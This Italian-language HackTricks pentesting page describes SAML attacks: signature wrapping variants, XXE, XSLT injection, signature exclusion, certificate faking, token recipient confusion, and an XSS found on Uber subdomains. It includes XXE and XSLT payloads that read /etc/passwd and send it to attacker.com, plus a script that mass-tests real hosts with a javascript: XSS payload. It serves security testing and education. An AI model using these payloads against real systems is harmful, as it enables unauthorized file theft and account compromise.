mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-16 17:58:21 +00:00
304 lines
20 KiB
Markdown
304 lines
20 KiB
Markdown
# Attacchi SAML
|
|
|
|
## Attacchi SAML
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Informazioni di base
|
|
|
|
{% content-ref url="saml-basics.md" %}
|
|
[saml-basics.md](saml-basics.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Strumento
|
|
|
|
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uno strumento che può prendere un URL o una lista di URL e restituisce l'URL di consumo SAML.
|
|
|
|
## Round-trip XML
|
|
|
|
In XML, la parte firmata dell'XML viene salvata in memoria, quindi viene eseguito un encoding/decoding e viene verificata la firma. Idealmente, quell'encoding/decoding non dovrebbe modificare i dati ma, basandosi su quel scenario, **i dati verificati e i dati originali potrebbero non essere gli stessi**.
|
|
|
|
Ad esempio, controlla il seguente codice:
|
|
```ruby
|
|
require 'rexml/document'
|
|
|
|
doc = REXML::Document.new <<XML
|
|
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
|
<X>
|
|
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
|
</X>
|
|
XML
|
|
|
|
puts "First child in original doc: " + doc.root.elements[1].name
|
|
doc = REXML::Document.new doc.to_s
|
|
puts "First child after round-trip: " + doc.root.elements[1].name
|
|
```
|
|
L'esecuzione del programma su REXML 3.2.4 o versioni precedenti produrrà il seguente output:
|
|
```
|
|
First child in original doc: Y
|
|
First child after round-trip: Z
|
|
```
|
|
Ecco come REXML ha visualizzato il documento XML originale dal programma sopra:
|
|
|
|
.png>)
|
|
|
|
Ecco come lo ha visualizzato dopo una fase di parsing e serializzazione:
|
|
|
|
.png>)
|
|
|
|
Per ulteriori informazioni sulla vulnerabilità e su come sfruttarla:
|
|
|
|
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
|
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
|
|
|
## Attacchi di firma XML wrapping
|
|
|
|
Negli attacchi di **firma XML wrapping (XSW)**, gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: **validazione della firma** e **invocazione della funzione**. Questi attacchi comportano l'alterazione della struttura del documento XML. In particolare, l'attaccante **inserisce elementi falsificati** che non compromettono la validità della firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla **logica dell'applicazione** e quelli controllati dal **modulo di verifica della firma**. Di conseguenza, mentre la firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli **elementi fraudolenti**. Di conseguenza, l'attaccante riesce a eludere la **protezione dell'integrità** e l'**autenticazione dell'origine** della firma XML, consentendo l'**iniezione di contenuti arbitrari** senza essere rilevato.
|
|
|
|
Gli attacchi seguenti si basano su **[questo post del blog](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) e [questo articolo](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)**. Quindi consulta questi per ulteriori dettagli.
|
|
|
|
|
|
### XSW #1
|
|
- **Strategia**: Viene aggiunto un nuovo elemento radice contenente la firma.
|
|
- **Implicazioni**: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "Response -> Assertion -> Subject" dell'attaccante, causando problemi di integrità dei dati.
|
|
|
|
.png>)
|
|
|
|
### XSW #2
|
|
- **Differenza da XSW #1**: Utilizza una firma separata invece di una firma che avvolge.
|
|
- **Implicazioni**: La struttura "malvagia", simile a XSW #1, mira a ingannare la logica aziendale dopo il controllo di integrità.
|
|
|
|
.png>)
|
|
|
|
### XSW #3
|
|
- **Strategia**: Viene creato un elemento Assertion malevolo allo stesso livello gerarchico dell'assertion originale.
|
|
- **Implicazioni**: Cerca di confondere la logica aziendale nell'utilizzo dei dati dannosi.
|
|
|
|
.png>)
|
|
|
|
### XSW #4
|
|
- **Differenza da XSW #3**: L'assertion originale diventa un figlio dell'assertion duplicato (malvagio).
|
|
- **Implicazioni**: Simile a XSW #3, ma modifica in modo più aggressivo la struttura XML.
|
|
|
|
.png>)
|
|
|
|
### XSW #5
|
|
- **Aspetto unico**: Né la firma né l'assertion originale rispettano le configurazioni standard (avvolgente/avvolta/separata).
|
|
- **Implicazioni**: L'assertion copiata avvolge la firma, modificando la struttura del documento prevista.
|
|
|
|
.png>)
|
|
|
|
### XSW #6
|
|
- **Strategia**: Inserimento di posizione simile a XSW #4 e #5, ma con una variazione.
|
|
- **Implicazioni**: L'assertion copiata avvolge la firma, che a sua volta avvolge l'assertion originale, creando una struttura nidificata ingannevole.
|
|
|
|
.png>)
|
|
|
|
### XSW #7
|
|
- **Strategia**: Viene inserito un elemento Extensions con l'assertion copiata come figlio.
|
|
- **Implicazioni**: Questo sfrutta lo schema meno restrittivo dell'elemento Extensions per eludere le contromisure di convalida dello schema, specialmente nelle librerie come OpenSAML.
|
|
|
|
.png>)
|
|
|
|
### XSW #8
|
|
- **Differenza da XSW #7**: Utilizza un altro elemento XML meno restrittivo per una variante dell'attacco.
|
|
- **Implicazioni**: L'assertion originale diventa un figlio dell'elemento meno restrittivo, invertendo la struttura utilizzata in XSW #7.
|
|
|
|
.png>)
|
|
|
|
### Strumento
|
|
|
|
Puoi utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) per analizzare la richiesta, applicare qualsiasi attacco XSW che scegli e lanciarlo.
|
|
|
|
## XXE
|
|
|
|
Se non sai quali tipi di attacchi sono gli attacchi XXE, leggi la seguente pagina:
|
|
|
|
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
|
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
|
{% endcontent-ref %}
|
|
|
|
Le risposte SAML sono documenti XML **deflati e codificati in base64** e possono essere suscettibili agli attacchi di XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come può essere visualizzato un tale attacco:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo ANY >
|
|
<!ENTITY file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
|
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
|
<saml:Issuer>...</saml:Issuer>
|
|
<ds:Signature ...>
|
|
<ds:SignedInfo>
|
|
<ds:CanonicalizationMethod .../>
|
|
<ds:SignatureMethod .../>
|
|
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
|
</ds:SignedInfo>
|
|
<ds:SignatureValue>...</ds:SignatureValue>
|
|
[...]
|
|
```
|
|
## Strumenti
|
|
|
|
Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) per generare il POC da una richiesta SAML per testare possibili vulnerabilità XXE e vulnerabilità SAML.
|
|
|
|
Guarda anche questa presentazione: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## XSLT tramite SAML
|
|
|
|
Per ulteriori informazioni su XSLT vai a:
|
|
|
|
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
|
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
|
{% endcontent-ref %}
|
|
|
|
Le trasformazioni Extensible Stylesheet Language Transformations (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che **le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale**. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autonominata o non valida è sufficiente per procedere.
|
|
|
|
Qui puoi trovare un **POC** per verificare questo tipo di vulnerabilità, nella pagina hacktricks menzionata all'inizio di questa sezione puoi trovare dei payload.
|
|
```xml
|
|
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
|
...
|
|
<ds:Transforms>
|
|
<ds:Transform>
|
|
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="doc">
|
|
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
|
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
|
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
|
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
|
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
</ds:Transform>
|
|
</ds:Transforms>
|
|
...
|
|
</ds:Signature>
|
|
```
|
|
### Strumento
|
|
|
|
Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) per generare la POC da una richiesta SAML per testare possibili vulnerabilità XSLT.
|
|
|
|
Guarda anche questa presentazione: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## Esclusione della firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
|
|
|
L'**Esclusione della firma XML** osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento manca, la **validazione della firma potrebbe non avvenire**, rendendo il sistema vulnerabile. È possibile testare ciò alterando i contenuti che vengono di solito verificati dalla firma.
|
|
|
|
.png>)
|
|
|
|
### Strumento <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
|
|
|
Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepisci la risposta SAML e clicca su `Remove Signatures`. In questo modo vengono rimossi **tutti** gli elementi Signature.
|
|
|
|
Con le firme rimosse, permetti alla richiesta di procedere verso l'obiettivo. Se la firma non è richiesta dal servizio
|
|
|
|
## Falsificazione del certificato <a href="#certificate-faking" id="certificate-faking"></a>
|
|
|
|
La falsificazione del certificato è una tecnica per verificare se un **Service Provider (SP) verifica correttamente che un messaggio SAML sia firmato** da un Identity Provider (IdP) affidabile. Questo coinvolge l'uso di un ***certificato autofirmato** per firmare la risposta o l'asserzione SAML, il che aiuta a valutare il processo di convalida della fiducia tra SP e IdP.
|
|
|
|
### Come condurre la falsificazione del certificato
|
|
I seguenti passaggi descrivono il processo utilizzando l'estensione Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
|
|
|
1. Intercepisci la risposta SAML.
|
|
2. Se la risposta contiene una firma, invia il certificato a SAML Raider Certs utilizzando il pulsante `Send Certificate to SAML Raider Certs`.
|
|
3. Nella scheda SAML Raider Certificates, seleziona il certificato importato e clicca su `Save and Self-Sign` per creare una copia autofirmata del certificato originale.
|
|
4. Torna alla richiesta intercettata in Burp's Proxy. Seleziona il nuovo certificato autofirmato dal menu a discesa XML Signature.
|
|
5. Rimuovi eventuali firme esistenti con il pulsante `Remove Signatures`.
|
|
6. Firma il messaggio o l'asserzione con il nuovo certificato utilizzando il pulsante **`(Re-)Sign Message`** o **`(Re-)Sign Assertion`**, a seconda del caso.
|
|
7. Inoltra il messaggio firmato. L'autenticazione riuscita indica che l'SP accetta messaggi firmati dal tuo certificato autofirmato, rivelando potenziali vulnerabilità nel processo di convalida dei messaggi SAML.
|
|
|
|
|
|
## Confusione del destinatario del token / Confusione del destinatario del Service Provider <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
|
|
|
La confusione del destinatario del token e la confusione del destinatario del Service Provider riguardano la verifica corretta da parte del **Service Provider del destinatario previsto di una risposta**. In sostanza, un Service Provider dovrebbe rifiutare una risposta di autenticazione se fosse destinata a un provider diverso. L'elemento critico qui è il campo **Recipient**, presente nell'elemento **SubjectConfirmationData** di una risposta SAML. Questo campo specifica un URL che indica dove l'asserzione deve essere inviata. Se il destinatario effettivo non corrisponde al Service Provider previsto, l'asserzione dovrebbe essere considerata non valida.
|
|
|
|
#### **Come funziona**
|
|
|
|
Perché un attacco di Confusione del destinatario del token SAML (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. In primo luogo, deve esistere un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.
|
|
|
|
Il processo di attacco è semplice in queste condizioni. Viene avviata una sessione autentica con SP-Legit tramite l'Identity Provider condiviso. La risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco viene misurato dall'accettazione dell'Assertion da parte di SP-Target, che concede l'accesso alle risorse utilizzando lo stesso nome account utilizzato per SP-Legit.
|
|
```python
|
|
# Example to simulate interception and redirection of SAML Response
|
|
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
|
"""
|
|
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
|
|
|
Args:
|
|
- saml_response: The SAML Response intercepted (in string format).
|
|
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
|
|
|
Returns:
|
|
- status: Success or failure message.
|
|
"""
|
|
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
|
try:
|
|
# Code to send the SAML Response to SP-Target would go here
|
|
return "SAML Response successfully redirected to SP-Target."
|
|
except Exception as e:
|
|
return f"Failed to redirect SAML Response: {e}"
|
|
```
|
|
## XSS nella funzionalità di logout
|
|
|
|
La ricerca originale può essere consultata tramite [questo link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
|
|
|
Durante il processo di forzatura di directory, è stata scoperta una pagina di logout su:
|
|
```
|
|
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
|
```
|
|
All'accesso a questo link, si è verificato un reindirizzamento a:
|
|
```
|
|
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
|
```
|
|
Ciò ha rivelato che il parametro `base` accetta un URL. Considerando ciò, è emersa l'idea di sostituire l'URL con `javascript:alert(123);` nel tentativo di avviare un attacco XSS (Cross-Site Scripting).
|
|
|
|
### Sfruttamento di massa
|
|
|
|
[Dalla seguente ricerca](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
|
|
|
Lo strumento [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) è stato utilizzato per analizzare i sottodomini di `uberinternal.com` alla ricerca di domini che utilizzano la stessa libreria. Successivamente, è stato sviluppato uno script per mirare alla pagina `oidauth/prompt`. Questo script testa la presenza di XSS (Cross-Site Scripting) inserendo dati e verificando se vengono riflessi nell'output. Nei casi in cui l'input viene effettivamente riflesso, lo script segnala la pagina come vulnerabile.
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
from colorama import init ,Fore, Back, Style
|
|
init()
|
|
|
|
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
|
for url in urlList:
|
|
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
|
request = requests.get(url2, allow_redirects=True,verify=False)
|
|
doesit = Fore.RED + "no"
|
|
if ("Fady" in request.content):
|
|
doesit = Fore.GREEN + "yes"
|
|
print(Fore.WHITE + url2)
|
|
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
|
```
|
|
## Riferimenti
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
|
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|